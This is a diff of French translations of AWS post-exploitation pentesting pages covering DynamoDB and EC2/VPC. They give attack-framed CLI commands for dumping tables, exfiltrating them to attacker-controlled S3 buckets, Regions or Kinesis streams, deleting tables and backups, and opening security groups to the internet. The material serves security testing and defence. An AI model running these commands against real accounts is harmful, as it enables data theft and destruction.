@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### `dynamodb:BatchGetItem`
Un attacker disposant de ces permissions pourra **récupérer des items dans les tables par clé primaire** (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaître les clés primaires (vous pouvez les obtenir en récupérant les métadonnées de la table (`describe-table`).
Un attaquant disposant de ces permissions pourra **obtenir des éléments des tables par la clé primaire** (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaître les clés primaires (vous pouvez les obtenir en récupérant les métadonnées de la table (`describe-table`)).
{{#tabs }}
{{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
**Potential Impact:** Indirect privesc en localisant des informations sensibles dans la table
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
### `dynamodb:GetItem`
**Similaire aux permissions précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table en fournissant la clé primaire de l'entrée à récupérer :
**Similaire aux autorisations précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table à partir de la clé primaire de l'entrée à récupérer :
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
### `dynamodb:Query`
**Similaire aux autorisations précédentes** celle-ci permet à un attaquant potentiel de lire les valeurs d'une seule table à condition de connaître la clé primaire de l'entrée à récupérer. Elle permet d'utiliser un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour récupérer toute la DB dans une requête.
**Similaire aux autorisations précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table à condition de connaître la clé primaire de l'entrée à récupérer. Elle permet d'utiliser un [sous-ensemble de comparaisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour obtenir l'ensemble du DB dans une requête.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la table
### `dynamodb:Scan`
Vous pouvez utiliser cette permission pour **dump facilement l'intégralité de la table**.
Vous pouvez utiliser cette permission pour **dump facilement toute la table**.
```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
### `dynamodb:PartiQLSelect`
Vous pouvez utiliser cette permission pour **dump l'intégralité de la table facilement**.
Vous pouvez utiliser cette permission pour **dump facilement l'intégralité de la table**.
```bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
Cette permission permet également d'exécuter `batch-execute-statement` comme :
Cette autorisation permet également d'exécuter `batch-execute-statement` comme :
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
mais vous devez spécifier la clé primaire avec une valeur, donc ce n'est pas très utile.
**Potential Impact:** Indirect privesc en localisant des informations sensibles dans la table
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la table
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
Cette permission permettra à un attaquant de **exporter la table entière vers un S3 bucket** de son choix :
Cette permission permettra à un attaquant de **exporter l'intégralité de la table vers un S3 bucket** de son choix:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
--export-time <point_in_time> \
--region <region>
```
Notez que pour que cela fonctionne, la table doit avoir point-in-time-recovery activé ; vous pouvez vérifier si la table l'a avec :
Remarque : pour que cela fonctionne, la table doit avoir point-in-time-recovery activé. Vous pouvez vérifier si la table l'a avec :
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
```
S'il n'est pas activé, vous devrez **l'activer** et pour cela vous aurez besoin de la permission **`dynamodb:ExportTableToPointInTime`** :
S'il n'est pas activé, vous devrez l'**activer** et pour cela vous avez besoin de l'autorisation **`dynamodb:ExportTableToPointInTime`**:
```bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la table
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
Avec ces permissions, un attaquant pourrait **créer une nouvelle table à partir d'une sauvegarde** (ou même créer une sauvegarde pour ensuite la restaurer dans une table différente). Puis, avec les permissions nécessaires, il pourrait consulter **des informations** provenant des sauvegardes qui **ne se trouvent plus dans la table de production**.
Avec ces permissions, un attaquant pourrait **créer une nouvelle table à partir d'une sauvegarde** (ou même créer une sauvegarde pour ensuite la restaurer dans une table différente). Ensuite, avec les permissions nécessaires, il pourrait consulter des **informations** depuis les sauvegardes qui ne **pourraient plus se trouver dans la table de production**.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
```
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la sauvegarde de la table
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la sauvegarde de la table
### `dynamodb:PutItem`
Cette autorisation permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'ensemble de l'élément sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
Cette permission permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément ayant la même clé primaire existe déjà, **l'ensemble de l'élément sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -202,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
**Impact potentiel :** Exploitation d'autres vulnérabilités/bypasses en pouvant ajouter/modifier des données dans une table DynamoDB
**Impact potentiel :** Exploitation de vulnérabilités/bypasses supplémentaires en pouvant ajouter/modifier des données dans une table DynamoDB
### `dynamodb:UpdateItem`
Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle ne **remplace pas** l'élément entier ; elle met uniquement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs indiqués dans l'expression de mise à jour.
Cette permission permet aux utilisateurs de **modifier les attributs existants d'un item ou d'ajouter de nouveaux attributs à un item**. Elle ne **remplace pas** l'ensemble de l'item ; elle met à jour uniquement les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel item** avec la clé primaire spécifiée et définira les attributs indiqués dans l'expression de mise à jour.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -242,17 +242,17 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
**Impact potentiel :** Exploitation d'autres vulnérabilités/bypasses en pouvant ajouter/modifier des données dans une DynamoDB table
**Impact potentiel :** Exploitation de vulnérabilités/bypasses supplémentaires en pouvant ajouter/modifier des données dans une table DynamoDB
### `dynamodb:DeleteTable`
Un attaquant disposant de cette permission peut **supprimer une DynamoDB table, entraînant une perte de données**.
Un attaquant disposant de cette autorisation peut **supprimer une table DynamoDB, entraînant une perte de données**.
```bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
```
**Impact potentiel** : Perte de données et perturbation des services dépendant de la table supprimée.
**Impact potentiel** : Perte de données et interruption des services dépendant de la table supprimée.
### `dynamodb:DeleteBackup`
@@ -262,14 +262,14 @@ aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Impact potentiel** : Perte de données et impossibilité de récupérer depuis une sauvegarde lors d'un scénario de reprise après sinistre.
**Impact potentiel**: Perte de données et impossibilité de restaurer à partir d'une sauvegarde lors d'un scénario de reprise après sinistre.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: Tester si cela fonctionne réellement
> TODO : Tester si cela fonctionne réellement
Un attaquant disposant de ces permissions peut **activer un stream sur une table DynamoDB, mettre à jour la table pour commencer à streamer les modifications, puis accéder au stream pour surveiller les changements de la table en temps réel**. Cela permet à l'attaquant de surveiller et d'exfiltrate les changements de données, pouvant potentiellement conduire à une leak de données.
Un attaquant disposant de ces permissions peut **activer un stream sur une table DynamoDB, mettre à jour la table pour commencer à streamer les changements, puis accéder au stream pour surveiller les changements de la table en temps réel**. Cela permet à l'attaquant de surveiller et d'exfiltrate les changements de données, pouvant mener à data leakage.
1. Activer un stream sur une table DynamoDB :
```bash
@@ -278,13 +278,13 @@ aws dynamodb update-table \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
```
2. Décrire le stream pour obtenir l'ARN et d'autres détails :
2. Décrire le flux pour obtenir l'ARN et d'autres détails :
```bash
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
```
3. Obtenir le shard iterator en utilisant le stream ARN:
3. Obtenez le shard iterator en utilisant le stream ARN :
```bash
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
--shard-iterator-type LATEST \
--region <region>
```
4. Utilisez le shard iterator pour accéder et exfiltrer des données depuis le stream :
4. Utilisez le shard iterator pour accéder et exfiltrate des données du stream:
```bash
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**Impact potentiel** : Surveillance en temps réel et fuite de données des modifications de la table DynamoDB.
**Impact potentiel** : Surveillance en temps réel et data leakage des changements de la table DynamoDB.
### Lire des éléments via `dynamodb:UpdateItem` et `ReturnValues=ALL_OLD`
### Lire des éléments via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
Un attaquant disposant uniquement de `dynamodb:UpdateItem` sur une table peut lire des éléments sans aucune des permissions de lecture habituelles (`GetItem`/`Query`/`Scan`) en effectuant une mise à jour bénigne et en demandant `--return-values ALL_OLD`. DynamoDB renverra l'image complète de l'élément avant mise à jour dans le champ `Attributes` de la réponse (cela ne consomme pas de RCUs).
Un attaquant disposant uniquement de `dynamodb:UpdateItem` sur une table peut lire des éléments sans aucune des permissions de lecture habituelles (`GetItem`/`Query`/`Scan`) en effectuant une mise à jour bénigne et en demandant `--return-values ALL_OLD`. DynamoDB renverra l'image complète de l'élément avant la mise à jour dans le champ `Attributes` de la réponse (cela ne consomme pas de RCUs).
- Permissions minimales : `dynamodb:UpdateItem` sur la table/clé cible.
- Prérequis : vous devez connaître la clé primaire de l'élément.
- Prérequis : Vous devez connaître la clé primaire de l'élément.
Exemple (ajoute un attribut inoffensif et exfiltrates l'élément précédent dans la réponse):
Exemple (ajoute un attribut inoffensif et exfiltre l'élément précédent dans la réponse) :
```bash
aws dynamodb update-item \
--table-name <TargetTable> \
@@ -318,14 +318,14 @@ aws dynamodb update-item \
--return-values ALL_OLD \
--region <region>
```
La réponse de la CLI inclura un bloc `Attributes` contenant l'élément précédent complet (tous les attributs), fournissant ainsi une primitive de lecture à partir d'un accès en écriture seule.
La réponse CLI inclura un bloc `Attributes` contenant l'élément précédent complet (tous les attributs), fournissant effectivement une primitive de lecture à partir d'un accès en écriture seule.
**Impact potentiel :** Lire des éléments arbitraires d'une table avec uniquement des permissions d'écriture, ce qui permet l'exfiltration de données sensibles lorsque les clés primaires sont connues.
**Impact potentiel :** Lire des éléments arbitraires d'une table avec uniquement des permissions d'écriture, permettant l'exfiltration de données sensibles lorsque les clés primaires sont connues.
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
Exfiltration furtive en ajoutant une nouvelle replica Region à une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter une replica régionale, la table entière est répliquée vers la Region choisie par l'attaquant, depuis laquelle l'attaquant peut lire tous les éléments.
Exfiltration discrète en ajoutant une nouvelle réplique régionale à une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter une réplique régionale, la table entière est répliquée vers la région choisie par l'attaquant, depuis laquelle l'attaquant peut lire tous les éléments.
{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +354,13 @@ aws dynamodb update-table \
{{#endtab }}
{{#endtabs }}
Autorisations : `dynamodb:UpdateTable` (avec `replica-updates`) ou `dynamodb:CreateTableReplica` sur la table cible. Si une CMK est utilisée dans la réplique, des permissions KMS pour cette clé peuvent être requises.
Permissions : `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
Impact potentiel : Réplication de la table complète vers une région contrôlée par l'attaquant entraînant une exfiltration furtive de données.
Potential Impact : Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.
### `dynamodb:TransactWriteItems` (lecture via condition échouée + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
Un attaquant disposant de privilèges d'écriture transactionnelle peut exfiltrer l'intégralité des attributs d'un item existant en effectuant un `Update` dans `TransactWriteItems` qui fait échouer intentionnellement une `ConditionExpression` tout en définissant `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En cas d'échec, DynamoDB inclut les attributs précédents dans les raisons d'annulation de la transaction, transformant ainsi un accès en écriture seule en un accès en lecture sur les clés ciblées.
Un attacker disposant de transactional write privileges peut exfiltrate les attributs complets d'un item existant en effectuant un `Update` dans `TransactWriteItems` qui échoue intentionnellement une `ConditionExpression` tout en définissant `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En cas d'échec, DynamoDB inclut les attributs antérieurs dans les transaction cancellation reasons, transformant ainsi un accès write-only en accès read des keys ciblées.
{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item'])
{{#endtab }}
{{#endtabs }}
Permissions : `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
Autorisations : `dynamodb:TransactWriteItems` sur la table cible (et l'item sous-jacent). Aucune autorisation de lecture n'est requise.
Impact potentiel : Lire des éléments arbitraires (par clé primaire) d'une table en utilisant uniquement des privilèges d'écriture transactionnelle via les raisons d'annulation retournées.
Impact potentiel : lire des items arbitraires (par clé primaire) d'une table en n'ayant que les privilèges d'écriture transactionnelle, via les raisons d'annulation renvoyées.
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
Contourner les restrictions de lecture en créant un Global Secondary Index (GSI) avec `ProjectionType=ALL` sur un attribut à faible entropie, en définissant cet attribut sur une valeur constante pour tous les items, puis en `Query` l'index pour récupérer les items complets. Cela fonctionne même si `Query`/`Scan` sur la table de base est refusé, tant que vous pouvez interroger l'ARN de l'index.
Contournez les restrictions de lecture en créant un Global Secondary Index (GSI) avec `ProjectionType=ALL` sur un attribut à faible entropie, en définissant cet attribut sur une valeur constante pour tous les items, puis en utilisant `Query` sur l'index pour récupérer les items complets. Cela fonctionne même si `Query`/`Scan` sur la table de base est refusé, tant que vous pouvez interroger l'ARN de l'index.
- Permissions minimales :
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
- Autorisations minimales :
- `dynamodb:UpdateTable` sur la table cible (pour créer le GSI avec `ProjectionType=ALL`).
- `dynamodb:UpdateItem` sur les clés de la table cible (pour définir l'attribut indexé sur chaque item).
- `dynamodb:Query` sur l'ARN de la ressource d'index (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
Étapes (PoC in us-east-1) :
Étapes (PoC in us-east-1):
```bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
```
**Impact potentiel :** Full table exfiltration en interrogeant un GSI nouvellement créé qui projette tous les attributs, même lorsque les API de lecture de la table de base sont refusées.
**Impact potentiel :** Exfiltration complète de la table en interrogeant un GSI nouvellement créé qui projette tous les attributs, même lorsque les API de lecture de la table principale sont refusées.
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltration en continu via Kinesis Data Streams)
Abuser des destinations de streaming Kinesis de DynamoDB pour exfiltrer en continu les changements d'une table vers un attacker-controlled Kinesis Data Stream. Une fois activé, chaque événement INSERT/MODIFY/REMOVE est transmis en quasi temps réel vers le stream sans nécessiter de permissions de lecture sur la table.
Abuser des destinations de streaming Kinesis de DynamoDB pour exfiltrer en continu les modifications d'une table vers un Kinesis Data Stream contrôlé par l'attaquant. Une fois activé, chaque événement INSERT/MODIFY/REMOVE est transmis en quasi-temps réel au stream sans nécessiter de permissions de lecture sur la table.
Permissions minimales (attacker) :
Permissions minimales (attaquant) :
- `dynamodb:EnableKinesisStreamingDestination` sur la table cible
- Optionnellement `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` pour surveiller le statut
- Permissions de lecture sur l'attacker-owned Kinesis stream pour consommer les enregistrements : `kinesis:*`
- Permissions de lecture sur le stream Kinesis contrôlé par l'attaquant pour consommer les enregistrements : `kinesis:*`
<details>
<summary>PoC (us-east-1)</summary>
@@ -530,17 +530,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```
### `dynamodb:UpdateTimeToLive`
Un attaquant disposant de la permission dynamodb:UpdateTimeToLive peut modifier la configuration TTL (time-to-live) d'une table — activer ou désactiver la TTL. Lorsque la TTL est activée, les éléments individuels contenant l'attribut TTL configuré seront automatiquement supprimés une fois que leur heure d'expiration est atteinte. La valeur TTL n'est qu'un autre attribut de chaque élément ; les éléments sans cet attribut ne sont pas affectés par la suppression basée sur la TTL.
Un attaquant disposant de la permission dynamodb:UpdateTimeToLive peut modifier la configuration TTL (time-to-live) d'une table — activer ou désactiver le TTL. Lorsque le TTL est activé, les éléments individuels contenant l'attribut TTL configuré seront automatiquement supprimés dès que leur date d'expiration est atteinte. La valeur TTL n'est qu'un autre attribut de chaque élément ; les éléments sans cet attribut ne sont pas affectés par la suppression basée sur le TTL.
Si les éléments ne contiennent pas déjà l'attribut TTL, l'attaquant aurait aussi besoin d'une permission permettant de mettre à jour les éléments (par exemple dynamodb:UpdateItem) pour ajouter l'attribut TTL et déclencher des suppressions massives.
Si les éléments ne contiennent pas déjà l'attribut TTL, l'attaquant aurait également besoin d'une permission de mise à jour des éléments (par exemple dynamodb:UpdateItem) pour ajouter l'attribut TTL et provoquer des suppressions massives.
Commencez par activer la TTL sur la table, en spécifiant le nom de l'attribut à utiliser pour l'expiration :
Commencez par activer le TTL sur la table, en spécifiant le nom de l'attribut à utiliser pour l'expiration :
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
```
Ensuite, mettez à jour les items pour ajouter l'attribut TTL (secondes epoch) afin qu'ils expirent et soient supprimés :
Ensuite, mettez à jour les éléments pour ajouter l'attribut TTL (secondes depuis l'époque Unix) afin qu'ils expirent et soient supprimés :
```bash
aws dynamodb update-item \
--table-name <TABLE_NAME> \
@@ -550,7 +550,7 @@ aws dynamodb update-item \
```
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
Un attaquant disposant des permissions `dynamodb:RestoreTableFromAwsBackup` ou `dynamodb:RestoreTableToPointInTime` peut créer de nouvelles tables restaurées depuis des sauvegardes ou via la récupération point-in-time (PITR) sans écraser la table d'origine. La table restaurée contient une image complète des données au point sélectionné, permettant à l'attaquant d'exfiltrate des informations historiques ou d'obtenir un dump complet de l'état antérieur de la base de données.
Un attaquant disposant des permissions dynamodb:RestoreTableFromAwsBackup ou dynamodb:RestoreTableToPointInTime peut créer de nouvelles tables restaurées à partir de sauvegardes ou de la récupération point-in-time (PITR) sans écraser la table d'origine. La table restaurée contient une image complète des données au point sélectionné, donc l'attaquant peut l'utiliser pour exfiltrate des informations historiques ou obtenir un dump complet de l'état passé de la base de données.
Restaurer une table DynamoDB à partir d'une sauvegarde à la demande:
```bash
@@ -567,7 +567,7 @@ aws dynamodb restore-table-to-point-in-time \
````
</details>
**Impact potentiel :** Exfiltration continue et quasi en temps réel des modifications de la table vers un Kinesis stream contrôlé par un attaquant, sans opérations de lecture directes sur la table.
**Impact potentiel :** Exfiltration continue et quasi en temps réel des modifications de la table vers un Kinesis stream contrôlé par un attaquant sans opérations de lecture directes sur la table.

118
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
View File

@@ -1,4 +1,4 @@
# AWS - EC2, EBS, SSM & VPC Post-Exploitation
# AWS - EC2, EBS, SSM & VPC Post-exploitation
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,10 +10,10 @@ Pour plus d'informations, consultez :
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### **Miroir VPC malveillant -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
La mise en miroir du trafic VPC **duplique le trafic entrant et sortant des instances EC2 au sein d'un VPC** sans nécessiter l'installation de quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué est généralement envoyé vers quelque chose comme un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\
Un attaquant pourrait abuser de cela pour capturer l'ensemble du trafic et en extraire des informations sensibles :
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** sans besoin d'installer quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué est généralement envoyé vers, par exemple, un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\
Un attaquant pourrait abuser de cela pour capturer l'intégralité du trafic et en extraire des informations sensibles :
Pour plus d'informations, consultez cette page :
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### Copier une instance en cours d'exécution
Les instances contiennent généralement une forme d'information sensible. Il existe différentes façons d'y accéder (voir [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Cependant, une autre façon de vérifier ce qu'elles contiennent est de **créer une AMI et d'exécuter une nouvelle instance (même dans votre propre compte) à partir de celle-ci**:
Les instances contiennent généralement des informations sensibles. Il existe différentes manières d'y pénétrer (voir [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Cependant, une autre façon de vérifier ce qu'elle contient est de **create an AMI and run a new instance (even in your own account) from it** :
```shell
# List instances
aws ec2 describe-images
@@ -47,10 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```
### Extraction de snapshots EBS
### EBS Snapshot dump
**Les snapshots sont des sauvegardes de volumes**, qui contiennent généralement **des informations sensibles**, par conséquent les vérifier devrait révéler ces informations.\
Si vous trouvez un **volume sans snapshot** vous pouvez : **créer un snapshot** et effectuer les actions suivantes ou simplement **le monter sur une instance** au sein du compte :
**Snapshots are backups of volumes**, qui contiennent généralement **des données sensibles**, donc les vérifier devrait divulguer ces informations.\
Si vous trouvez un **volume without a snapshot** vous pouvez : **Create a snapshot** et effectuer les actions suivantes ou simplement **mount it in an instance** dans le compte :
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
### Covert Disk Exfiltration via AMI Store-to-S3
Exporter une AMI EC2 directement vers S3 en utilisant `CreateStoreImageTask` pour obtenir une image disque brute sans partage de snapshot. Cela permet des analyses forensiques hors ligne complètes ou le vol de données tout en laissant le réseau de l'instance inchangé.
Exporter un EC2 AMI directement vers S3 en utilisant `CreateStoreImageTask` pour obtenir une raw disk image sans snapshot sharing. Cela permet des forensics offline complets ou du data theft tout en laissant le réseau de l'instance inchangé.
{{#ref}}
aws-ami-store-s3-exfiltration.md
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
### Live Data Theft via EBS Multi-Attach
Attacher un volume io1/io2 Multi-Attach à une seconde instance et le monter en lecture seule pour siphonner des données en temps réel sans snapshots. Utile lorsque le volume victime a déjà Multi-Attach activé dans la même AZ.
Attacher un volume io1/io2 Multi-Attach à une seconde instance et le monter en lecture seule pour siphonner des live data sans snapshots. Utile lorsque le volume victime a déjà Multi-Attach activé dans la même AZ.
{{#ref}}
aws-ebs-multi-attach-data-theft.md
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
### EC2 Instance Connect Endpoint Backdoor
Créer un EC2 Instance Connect Endpoint, autoriser l'ingress et injecter des clés SSH éphémères pour accéder à des instances privées via un tunnel géré. Offre des chemins de mouvement latéral rapides sans ouvrir de ports publics.
Créer un EC2 Instance Connect Endpoint, autoriser l'ingress et injecter des clés SSH éphémères pour accéder aux instances privées via un tunnel géré. Offre des chemins de mouvement latéral rapides sans ouvrir de ports publics.
{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
### EC2 ENI Secondary Private IP Hijack
Déplacer l'adresse IP privée secondaire d'une ENI victime vers une ENI contrôlée par l'attaquant pour usurper des hôtes de confiance figurant sur la liste blanche par IP. Permet de contourner des ACL internes ou des règles SG basées sur des adresses spécifiques.
Déplacer l'IP privée secondaire d'un ENI victime vers un ENI contrôlé par l'attaquant pour usurper des hôtes de confiance allowlisted par IP. Permet de contourner des ACL internes ou des règles SG basées sur des adresses spécifiques.
{{#ref}}
aws-eni-secondary-ip-hijack.md
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
### Security Group Backdoor via Managed Prefix Lists
Si une règle de security group référence une customer-managed prefix list, ajouter des CIDR d'attaquant à la liste étend silencieusement l'accès à toutes les règles SG dépendantes sans modifier le SG lui-même.
Si une règle de security group référence une customer-managed prefix list, ajouter des CIDRs d'attaquant à la liste étend silencieusement l'accès à toutes les règles SG dépendantes sans modifier le SG lui‑même.
{{#ref}}
aws-managed-prefix-list-backdoor.md
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
### VPC Endpoint Egress Bypass
Créer des gateway ou interface VPC endpoints pour retrouver l'accès sortant depuis des subnets isolés. Tirer parti des private links gérés par AWS contourne l'absence de contrôles IGW/NAT pour l'exfiltration de données.
Créer des gateway ou interface VPC endpoints pour retrouver l'accès sortant depuis des subnets isolés. Tirer parti des AWS-managed private links permet de contourner l'absence d'IGW/NAT pour l'exfiltration de données.
{{#ref}}
aws-vpc-endpoint-egress-bypass.md
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
### `ec2:AuthorizeSecurityGroupIngress`
Un attaquant disposant de la permission ec2:AuthorizeSecurityGroupIngress peut ajouter des règles entrantes aux security groups (par exemple, autoriser tcp:80 depuis 0.0.0.0/0), exposant ainsi des services internes à l'Internet public ou à des réseaux non autorisés.
Un attaquant disposant de la permission ec2:AuthorizeSecurityGroupIngress peut ajouter des règles inbound aux security groups (par exemple autoriser tcp:80 depuis 0.0.0.0/0), exposant ainsi les services internes à l'Internet public ou à des réseaux non autorisés.
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
```
# `ec2:ReplaceNetworkAclEntry`
Un attaquant disposant de la permission ec2:ReplaceNetworkAclEntry (ou équivalente) peut modifier les Network ACLs (NACLs) d’un subnet pour les rendre très permissifs — par exemple en autorisant 0.0.0.0/0 sur des ports critiques — exposant l’intégralité de la plage du subnet à l’Internet ou à des segments réseau non autorisés. Contrairement aux Security Groups, qui sont appliqués per-instance, les NACLs sont appliqués au subnet level, donc modifier un NACL restrictif peut avoir un blast radius beaucoup plus important en permettant l’accès à bien plus de hosts.
